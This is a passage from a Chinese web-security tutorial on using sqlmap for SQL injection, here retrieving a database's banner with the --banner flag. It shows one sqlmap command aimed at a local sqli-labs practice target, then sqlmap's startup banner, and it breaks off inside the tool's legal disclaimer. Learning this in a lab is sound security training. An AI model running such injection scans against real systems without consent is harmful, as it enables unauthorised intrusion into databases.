Python全栈（五）Web安全攻防之5.sqlmap检索DBMS信息和SQL注入

一、sqlmap检索DBMS信息

1.sqlmap检索DBMS banner

参数：
--banner或者-b
获取后端数据库banner信息。
进行测试：

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --banner

打印

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.2.31#dev}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey a